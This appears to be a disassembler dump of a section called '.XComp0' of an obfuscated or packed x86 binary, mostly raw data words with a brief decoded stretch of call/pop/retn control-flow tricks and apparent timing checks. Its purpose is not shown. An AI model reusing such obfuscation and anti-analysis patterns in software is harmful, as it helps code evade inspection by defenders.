59C35920h, 4244C89h, 4244481h, 17h, 2BC35141h, 8B8BF315h dd 0F919BDBDh, 0D1A5BB05h, 508976DBh, 0CE920h, 53F80000h dd 9691ECE2h, 399B4957h, 858D68B9h, 5FD10E9h, 28A0Fh, 5FB30000h dd 0B88689h, 6A0000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0CDC35747h, 0D2F13D88h, 0FF8B4198h, 0FCFC21B5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 6830F30h, 8B000000h, 0F92AF19Dh, 9995FF05h dd 0BF05F900h, 71847B5Dh, 9DBB5096h, 963ABF67h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 60C35646h, 0FFBE071Eh dd 0FCFC21B5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8A8FFF95h, 6995FFD8h dd 305F935h, 0F92CAD9Dh, 0F5BD8305h, 5F917h, 34840Fh, 33B30000h dd 50605250h, 5A310F52h, 2EB4BF58h, 5B611C38h, 6A243489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0C6DDC356h, 0B5FF2FB9h, 5FCFC21h, 2955BD29h dd 95FF05F9h, 5F92E6Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0D8C35242h, 2D9D3374h, 0FF05F918h, 0FCFC21B5h dd 3D8D8905h, 0FF05F924h, 0F921DD95h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 6410DC31h, 0F9BB8830h, 0F518727h, 0BD83D8BFh, 5F90A2Dh dd 3E840F02h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 3CD6C351h, 58D0FE9h dd 66000000h, 930ACF81h, 8BE9DF80h, 0F9115185h, 0E5BD2B05h dd 0C605F90Ch, 8B660000h, 1985C7D9h, 5F933h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0A63AC355h, 52496C0Ch, 291CA512h, 0F927258Dh dd 0AE86005h, 12000000h, 6779F64Eh, 9E3E140Dh, 0D9BA662Bh dd 81665A13h, 61EDBFF2h, 0FFF2B1E9h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8BE802D6h dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0AA42BBA6h, 858D4864h, 5F90DC1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B2C35141h, 872F2DA4h dd 978B68E7h, 5250900Dh, 310FFE8Bh, 61CBB560h, 6650585Ah dd 0F90DF8Bh, 6ADBBFh, 6A006AF5h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 7981C355h dd 0D5EEB148h, 0EE988F2h, 8F000000h, 7D935A2Ch, 601CD3F3h dd 9887CAE5h, 2E858DDCh, 8B05FDF2h, 0F91661BDh, 5C08305h dd 90DBB70Fh, 1093F3BBh, 0AE85050h, 6D000000h, 0BE944B4Fh dd 0AC290A6Dh, 5DBB66BFh, 6A905B0Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0BA27C356h dd 3ABF1CA7h, 6A26BBB4h, 78D78100h, 6A189128h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 17A9EBFh, 0E17BEC6Ch, 0ED95FF8Ah, 6A05F913h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0CEC3C351h, 5576D0E4h, 8D8D2339h, 5FCE983h, 0A5BA6660h dd 10E86153h, 49000000h, 15A49A17h, 945E96F6h, 239AB443h dd 8B7684D1h, 0F92BA1BDh, 0D1FF5F05h, 7A04BF66h, 1785BD83h dd 0F0105F9h, 9E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 850108A3h, 5F90C6Dh, 6A026Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0B56EAFC3h, 0C5458B06h, 399D8981h, 5005F908h, 52505250h dd 310FDA8Ah, 585A5B53h, 585A310Fh, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0E9BEC351h, 8909F102h, 0F9223D85h, 0D99D8B05h, 0F05F918h dd 95FFDAB7h, 5F90099h, 0EF805256h, 0E95B5F69h, 0DD3h dd 0E8h, 0ED815D00h, 5FDF238h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0CEC35545h, 0FA9ED781h, 858D5C6Fh dd 5FCD97Ch, 52506090h, 0FF18B66h, 5A52B031h, 6800F58h dd 50000000h, 5A310F52h, 0E9506158h, 11h, 9CCD2D42h, 0A0394045h dd 0C6DA043h, 0BCD9C67Dh, 6A9065h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0BFF923C3h, 4FD9D9B7h dd 35FF64h, 66000000h, 649DA3BFh, 2589h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0BF795EC3h, 223AE6EBh, 0E9F33557h, 7, 1E1ED908h, 0FF434D75h dd 0F9197D85h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 74F952E6h, 635E5F90h dd 9D8BFF6Ah, 5F920D9h, 0FFDFB70Fh, 0F932E9B5h, 40E38105h dd 0FF326674h, 0F9091195h, 13DE905h, 9D8B0000h, 5F92A75h dd 164D9D8Bh, 0B005F9h, 0BE8h, 1B3F4700h, 6D178251h, 98A30569h dd 0F870E65Fh, 0B70F71E4h, 0ED9509DEh, 3C05F932h, 8830F61h dd 0E9000001h, 12h, 28A29CB4h, 8F034445h, 0EAE25926h, 0C8CF36A2h dd 0B60FBEC6h, 8D2953C8h, 5F934D5h, 6BA5Fh, 9E90000h, 77000000h dd 451B93F8h, 0F2D45655h, 0E381C18Bh, 5EEE4E2Dh, 13E9h dd 4DB23000h, 0D362A14Ah, 0B3FAB37Dh, 0F8E43609h, 0A5A2F3F6h dd 2904E8C1h, 0F9112DB5h, 0E2F76605h, 6820Fh, 95890000h dd 5F92231h, 0BD23C82Bh, 5F921F9h, 0B589D18Bh, 5F92529h dd 0D3C78166h, 6E91Ah, 9D8B0000h, 5F91A91h, 32A1858Bh dd 0BD8B05F9h, 5F934A1h, 0B707C083h, 0C083FCh, 0CE8h, 0B35EAF00h dd 931E142Dh, 2D6632E1h, 0F98B6669h, 0FD03B5Fh, 1A83h dd 7E900h, 0C680000h, 0FCBB8AEEh, 39E956h, 0B70F0000h dd 0D1BD8BDBh, 8B05F919h, 0F92B258Dh, 2935BF05h, 0E183090Fh dd 1C840F01h, 8B000000h, 25A583D9h, 0FE05F92Bh, 95896BB7h dd 5F932A1h, 28D58589h, 0E905F9h, 8D000000h, 0FD5D84B5h dd 70BF6605h, 9D8D897Ch, 6A05F907h, 94EB8100h, 0FF2CA152h dd 0F91AED95h, 838B905h, 0BD010000h, 5F91645h, 6AFCE183h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0E020C353h, 0E9165E48h, 0Fh, 7EE9E2FEh dd 2AECADF1h, 0A56C88C6h, 0FC26FFB6h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 3BC35141h, 0E9B4CA60h, 5, 27DB770Dh dd 0CE95326h, 0B7000000h, 18F3D4DDh, 0CC2DF46h, 5FECCA48h dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 6D8D1FC3h, 582B5E17h, 6D952929h, 2B05F922h dd 0F5060D2h, 8158F6BFh, 552BC9D9h, 33AD6173h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 679CE7C3h, 14697A36h, 14E87Ah, 99FD0000h dd 0E0107860h, 0D20DAD18h, 1965609Ch, 480A62CEh, 0FC8A75E8h dd 0C19D895Fh, 8905F909h, 0F915058Dh, 880D05h, 0BF0F0000h dd 0DD958BD9h, 8905F90Ch, 0F90135B5h, 0C18D8B05h, 6A05F926h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 9A3EC355h, 0E31BA175h, 58B0FEFh, 56000000h dd 5FFEBF0Fh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0F7E52C3h, 88Eh, 2820F00h, 8B000000h, 1BD89FBh dd 8305F927h, 0F91159BDh, 840F0005h, 98h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EC35646h, 13852E07h dd 0B8C9C0h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0B9A5C356h, 8053BB8Ch dd 8D5B44C3h, 0F94EE88Dh, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 9D01B7D5h dd 5F9316Dh, 0C1B70F60h, 0AB19BF66h, 0FE1FF61h, 138Fh dd 0EE900h, 0DC180000h, 213033C9h, 7B00CFFEh, 0BDB95495h dd 0FDBD83h, 0F0005F9h, 43F84h, 0BD850900h, 0E905F933h dd 13h, 0E83E56BFh, 12F9581Bh, 7C94919Ah, 0D96978Eh, 8363CB4Dh dd 0F900FDBDh, 840F0105h, 42Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0D6C35747h, 53200BF2h, 0BD8349EAh dd 5F900FDh, 0CA860F03h, 6A000003h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 8BECC353h dd 6050DD1Bh, 66DFBF0Fh, 75BBD98Ch, 803018DDh, 666004E1h dd 9D89C68Bh, 5F9271Dh, 0FC90A61h, 16984h, 0EE800h, 26C90000h dd 0A01AC8E3h, 231C79Ah, 934B8C69h, 5BDFBF0Fh, 2599858Bh dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 4FBA7FC3h, 0F388535Eh, 8E88Ch, 40C70000h dd 5B8E18ABh, 9529DB1Fh, 5F90F61h, 2D85335Fh, 0E905F904h dd 13h, 0B532D61Ah, 0FA1BD232h, 9AFB914Bh, 921F1C00h, 90E0E2FFh dd 0DE9h, 76D58A00h, 0A70A2B80h, 0DF267DACh, 0F5000E2h dd 289h, 90FE8B00h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 5FC35545h, 0F88BA30Ah, 8E0F006Ah, 6 dd 761BD31h, 0C66805F9h, 0BB197882h, 48ECC183h, 39243481h dd 6A196781h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0E958C353h, 8DB5AFD4h, 92DDFD9Bh dd 0F3CFC781h, 95FF5386h, 5F92AC5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 1AC35141h, 759E000Ch, 390474CDh dd 0FC218589h, 8B6605FCh, 20AE9F9h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 562351C3h dd 58A0F56h, 66000000h, 2FE6CF81h, 8166605Bh, 29B999F7h dd 0F906799Dh, 858B6105h, 5FCFC19h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 18C35646h, 88EEBABCh, 173E3F84h dd 77C38039h, 7409F781h, 8B50150Bh, 0F9311DBDh, 0C75F05h dd 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 75C35141h, 0BA0C54D2h, 0A00166DEh, 0A1BD037Bh, 8B05F926h dd 0FCFC1DB5h, 0DF816605h, 858BB88Dh, 5F92B89h, 2A658D89h dd 68905F9h, 10E8h, 0D1D92500h, 0EABFF2E2h, 0A5EC56FDh dd 69EBA836h, 0D781661Bh, 665F9ED2h, 858BD98Bh, 5F92599h dd 10E8h, 317F800h, 0CD495130h, 0E3078900h, 0FB4977BBh dd 599D8B12h, 5F05F926h, 6A044689h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 4684C357h dd 0F0404683h, 60963E21h, 8BCF8B66h, 0F5061FEh, 138Fh dd 0EE900h, 0C4710000h, 35EAE7A9h, 0D03E208h, 79822B58h dd 0D67BF96h, 880F1EC6h, 11h, 0AE953h, 0A1DA0000h, 2D3CFA52h dd 968C1E17h, 19B5FF5Bh, 6605FCFCh, 0F93450BFh, 2FA40468h dd 0FEDCBB38h, 348116BFh, 30A7FB24h, 0FA8B6638h, 2651E381h dd 858D0740h, 5FCFC21h, 12E8h, 16F22300h, 48329B6Ch, 0DF657620h dd 0D83D59ABh, 0FA469AAh, 505FD9BFh, 6A240489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 7DB9C356h, 0BBDFB591h, 0AE933h, 0EE7F0000h, 9304B7Bh dd 5DC7485h, 2AC595FFh, 6A05F9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 55F054C3h, 66569ED3h dd 5F6D05BBh, 0C7DE8B61h, 0F900FD85h, 305h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0C381DBBCh, 423532C5h, 0FC21BD83h, 0F0005FCh, 1084h dd 2DB8000h, 21E9F98Bh, 29000000h, 0F9115D85h, 0C305005h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 9F2AF381h dd 66521889h, 5BDB8BBFh, 0FDBD83h, 0F0305F9h, 44E85h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 83F966E8h, 0FCFC21BDh, 840F0005h, 423h, 28119D8Bh, 0B5FF05F9h dd 5FCFC21h, 286DBD8Bh, 606005F9h, 89C9BF0Fh, 0F920D985h dd 61F56105h, 1AAD95FFh, 0B58905F9h, 5F915F1h, 0FC15B58Bh dd 6A05FCh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 287848C3h, 2E11D6DBh, 860FAFAFh, 5, 9EE78166h dd 106C72Fh, 29000100h, 0F9087995h, 8D0F9605h, 0Eh, 0D98B5250h dd 5250310Fh, 585A310Fh, 6050585Ah, 0FE8h, 69C1C700h, 0CB929381h dd 99DD5ABEh, 0D7F63480h, 605BD98Bh, 0BA665A57h, 6161EDFDh dd 0FE996h, 6C7E0000h, 0C17B0C43h, 0DC152A55h, 15A370D4h dd 0FF05B71Bh, 0FCFC21B5h, 14E96005h, 8F000000h, 0C8E72702h dd 0EC866EEEh, 5B1ECCB5h, 0F5EA27CFh, 0BAF1EC42h, 0E556381h dd 2995FF61h, 6A05F927h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0DAE2C357h, 9E98718h dd 6C000000h, 0E0B90171h, 0DD07536Bh, 0FC15B58Bh dd 858B05FCh, 5F91809h, 8689F88Bh, 0C4h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 0F8C35040h, 0E99D8BD5h dd 8B05F92Bh, 0F90CDD95h, 4C28305h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0D3C35747h, 5214C158h, 72D56E0Fh dd 8B0FD9h, 89000000h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 43C822C3h, 8B0B7AC8h dd 0F906BDBDh, 84BF6605h, 0E9858D4Ah, 6A05FD10h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 92FBC352h, 5C930BC3h, 0FE62BA48h, 29718D89h, 9D8B05F9h dd 5F90CD1h, 0B88689h, 0BD890000h, 5F924C1h, 0BF0F006Ah dd 21B5FFF9h, 6605FCFCh, 95FFF88Bh, 5F90099h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5DC35141h, 6810FE3h dd 31000000h, 0F928558Dh, 19B39605h, 96F98B50h, 6880Fh dd 8D290000h, 5F91665h, 0C6DB529h, 0B5FF05F9h, 5FCFC21h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F4C35545h dd 95FFDD38h, 5F93569h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0EAC35646h, 0E3ABF9B3h, 8E0F3Fh, 83000000h dd 0F917F5BDh, 840F0005h, 37h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 96C35040h, 1376664Dh, 23A279CBh dd 0B6605099h, 61605711h, 34896159h, 9D9D8B24h, 0FF05F92Dh dd 0FCFC21B5h, 9D8B6005h, 5F90F45h, 180D8501h, 606105F9h dd 5198589h, 0F08A05F9h, 6D95FF61h, 0E805F92Eh, 7, 20EE422Fh dd 0F1171DCh, 28Fh, 5B616000h, 0FC21B5FFh, 6A05FCh, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 25E0F3C3h, 95FFEA70h, 5F921DDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 38C35343h, 4A41C9AAh, 89A3EA8Dh dd 0F9290D8Dh, 2DBD8305h, 205F90Ah, 6F840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 65554AC3h, 35EC063Ch, 0DF81FCFAh, 0A6A2B3Dh, 1151858Bh dd 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 4253D8C3h, 0FEE3DC2Ah, 85893119h, 5F90D6Dh dd 0CE9h, 7CF54400h, 5F2A1719h, 407AA748h, 0C624h, 1985C7F8h dd 5F933h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 32C7C352h, 694DEBDCh, 0EE9h, 314ABD00h dd 0F3F8570Fh, 523AEFCh, 0E9FF7885h, 0FFFFF354h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 5FC35545h, 4BB3DC9Ah dd 8166A808h, 8B43D9F7h, 3DB589C1h, 6605F92Eh, 8DC426BBh dd 0F90DC185h, 50505005h, 5F5F5B52h, 89240489h, 0F9243595h dd 6A006A05h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 5277C357h, 75664AE0h, 36325A5h dd 0F9225D9Dh, 0F006A05h, 1683h, 11E900h, 18A20000h, 651828FFh dd 3D872501h, 3C1F26h, 8D88406Eh, 0FE020685h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 7372B7E6h, 5C08328h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 54C35242h, 32DB8166h, 14E8507Ch, 1F000000h dd 899D50Fh, 0D2619536h, 0D1A3CC68h, 7D604404h, 0F2AE0F2h dd 158Eh, 10E900h, 6F350000h, 0FED67E74h, 283E9696h, 28D71151h dd 895FD8A0h, 0DE82404h, 2B000000h, 64E49242h, 0F3BD38D4h dd 0C7956493h, 5BD88B66h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0DBB795C3h, 19959589h dd 5E905F9h, 0C1000000h, 9248442Ch, 9D8B006Ah, 5F91365h dd 13ED95FFh, 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0BD8B76C3h, 5F92809h, 2955B529h dd 8D8D05F9h, 5FCE983h, 0D1FFF88Bh, 2841BD8Bh, 0BD8305F9h dd 5F91785h, 84850F01h, 0E8000000h, 8, 603BB5D5h, 0C5C3B4CAh dd 2E75BD8Bh, 6A5B05F9h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0B06BDF25h, 0D98B50F5h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 30BC353h, 3165C884h, 9995FFh dd 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0F87FBFC3h, 0E9CB1F4Bh, 0E6Fh, 0E8h, 0ED815D00h dd 5FE0210h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 5FC35040h, 0A019D8Bh, 0F6005F9h, 68Ah, 870F00h dd 66000000h, 613555BBh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 8BC35646h, 9BB6698h, 0FA8B6641h, 1FD9BD89h dd 858D05F9h, 5FCD97Ch, 0CB58589h, 665005F9h, 489D98Bh dd 0F98B6624h, 35FF64h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 9A34C353h dd 7E860A3h, 0BD000000h, 3C3D1515h, 8E945BEh, 0C5000000h dd 0DB9FC46Fh, 5BE08E8Fh, 31718589h, 0E86105F9h, 13h, 8A3715C7h dd 784C015Ah, 0EC8FA9DCh, 5677520Ch, 5BC32CC6h, 258964h dd 80000000h, 85FF7DF7h, 5F9197Dh, 2800Fh, 0FA8B0000h dd 5060FF6Ah, 5EC8B70Fh, 7E9h, 0D31ED400h, 5425BC19h, 9B5FF61h dd 0FC05F924h, 91195FFh, 13E905F9h, 0B0000001h, 69BD0300h dd 6605F92Eh, 0AD47DB81h, 895770E6h, 0F927F1B5h, 71E45B05h dd 28D0F60h, 60000000h, 3C61F861h, 0E7830F61h, 89000000h dd 0F92B8195h, 0C8B60F05h, 13E9h, 0D8CE2F00h, 1278F2E5h dd 7A608BC3h, 87849073h, 623F18E2h, 6BAh, 5E900h, 0FAE0000h dd 8B17ADEAh, 0BD8B60C1h, 5F90135h, 10E9958Bh, 0C16105F9h dd 0B3B704E8h, 14959531h, 0F76605F9h, 69BD89E2h, 2B05F912h dd 8BFE8BC8h, 66BB66D1h, 6E982h, 0C7810000h, 74E6FE08h dd 419858Bh, 0D98B05F9h, 2907C083h, 0F905FDB5h, 0C08305h dd 0D03BF0B3h, 2E830Fh, 860F0000h, 0Fh, 0AE9h, 76A61400h dd 9DB26053h, 0B7D77548h, 44E938h, 8B0F0000h, 0Ch, 6830Fh dd 8B0F0000h, 0 ; --------------------------------------------------------------------------- mov ecx, [ebp+5F92519h] movsx ebx, ax and ecx, 1 jz loc_5BBA2A mov di, 0BD47h and dword ptr [ebp+5F92519h], 0FFFFFFFEh mov bx, 0BF59h mov [ebp+5F90419h], edx xor ebx, [ebp+5F918A1h] jmp $+5 loc_5BBA2A: ; CODE XREF: .XComp0:005BBA04j lea esi, [ebp+5FD6807h] push 0 push ecx call sub_5BBA3B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBA3B proc near ; CODE XREF: .XComp0:005BBA33p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5BBA3B endp ; --------------------------------------------------------------------------- db 77h dd 0B8519181h, 7A099FC2h, 13E852h, 2C10000h, 0EB270659h dd 73E2FEEh, 84BBB29Eh, 0A7B44E40h, 3D9D8BA6h, 5F05F922h dd 0BD8B006Ah, 5F916C1h, 2E059D8Bh, 95FF05F9h, 5F91AEDh dd 31D1BD0Bh, 816605F9h, 0B9E790E3h, 823h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A1C35242h, 0DB812C0Eh dd 7472D55Ah, 8BFCE183h, 0F9256DBDh, 6AFC05h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 1A7CA0C3h dd 7F48EB81h, 9D8B5C10h, 5F92985h, 0B8h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 850F69h, 2B000000h, 4D9589D2h, 6605F931h, 33ADD98Bh dd 3E8D1C2h, 4E983D0h, 870FF475h, 0Ch, 6820Fh, 8D010000h dd 5F9220Dh, 880DF5h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0E2309EC3h, 0A65E189Bh dd 89F513E8h, 0F90815B5h, 0DD958B05h, 6A05F90Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0AD25C352h, 0E30CCB58h, 26C18D8Bh, 850105F9h, 5F921E1h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0BF685BC3h, 2144F340h, 0E9CFED4Ah, 0Bh, 32EE44DAh, 0CFC135BDh dd 19D2AADh, 0F9120D8Dh, 59BD8305h, 5F911h, 25840Fh, 0BD8B0000h dd 5F90B29h, 25B5BD33h, 0B805F9h, 0F8000000h, 4EE88D8Dh dd 9D8B05F9h, 5F90025h, 0FFFBBF0Fh, 83F98AE1h, 0F900FDBDh dd 840F0005h, 502h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 9BC35747h, 0FDBD83F5h, 105F900h, 4F3840Fh dd 0BD8B0000h, 5F90F99h, 0FDBD83h, 0F0305F9h, 4AA86h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0EA742BEAh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 49A77F6h, 66C66F17h, 663B61BBh dd 8C66F88Bh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 9BF12487h, 9DAB8301h, 28E0FC7h, 8B000000h dd 4E180F8h, 19BD31h, 0C90A05F9h, 16A840Fh, 0BD330000h dd 5F9290Dh, 2599858Bh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 5EFD22C3h, 0D5EB24B1h dd 42D8533h, 6A05F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0C67AA5C3h, 64746DD8h, 7B750FCh dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0DB48C351h, 6BC0E5B6h, 0CA423373h dd 8D316056h, 5F93329h, 0A0DA8166h, 6A5F6105h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 68269395h, 0CE512EDBh, 0CE8h, 52A9E900h, 0A05B7932h dd 79DF8355h, 0BB52500Eh, 5EBF250h, 5250310Fh, 585A310Fh dd 815B585Ah, 0D5242404h, 6A31CDh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 385111C3h, 0FF38110h dd 0FF3007CBh, 0F92AC595h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0F53F94Bh dd 8589D9BFh, 5FCFC21h, 0E9DE8B66h, 286h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 87C35747h, 0C02062FCh dd 5E9h, 0F414F300h, 0BD8B85DCh, 5F91F21h, 0FC19858Bh dd 6A05FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 2A1229C3h, 71DD428Ch, 0A9BF9C80h, 0C74AE2E3h dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0AC8A597Eh, 9D0BB616h, 5F9157Dh dd 8BDFBF0Fh, 0FCFC1DB5h, 0B70F5605h, 858B5FFAh, 5F92B89h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 67C35747h dd 689FE8Bh, 0FD858953h, 5F05F919h, 2599858Bh, 6A05F9h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0FE7DB4C3h, 0A1232AF3h, 0DB81C0B9h, 222B157h, 6A044689h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0AFCEC356h, 41BD8BCFh, 0E905F912h, 0Bh, 62F4B281h dd 7F9B57A8h, 96B858A4h, 5870F60h, 0B9000000h, 15BBB011h dd 0EE9h, 0B6CCED00h, 9EC76190h, 0A3FA43F2h, 61A77E27h dd 0A456BB50h, 6A963CEAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 64DFC351h, 0C0EFEA21h dd 667F3A15h, 3431DF81h, 0FC19B5FFh, 6A05FCh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1D2F63C3h dd 38634CD2h, 4E8A2h, 3FF0000h, 8B66001Fh, 665750F8h, 5B6789BFh dd 424448Bh, 6080FABFh, 50008B40h, 0BB665052h, 0F5FAB8Fh dd 89585A31h, 58042444h, 20018D01h, 816605F9h, 8DA16BEBh dd 0FCFC2185h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0FE3BFBA0h, 0C4F4FC21h dd 9D8B4C82h, 5F91819h, 5039B390h, 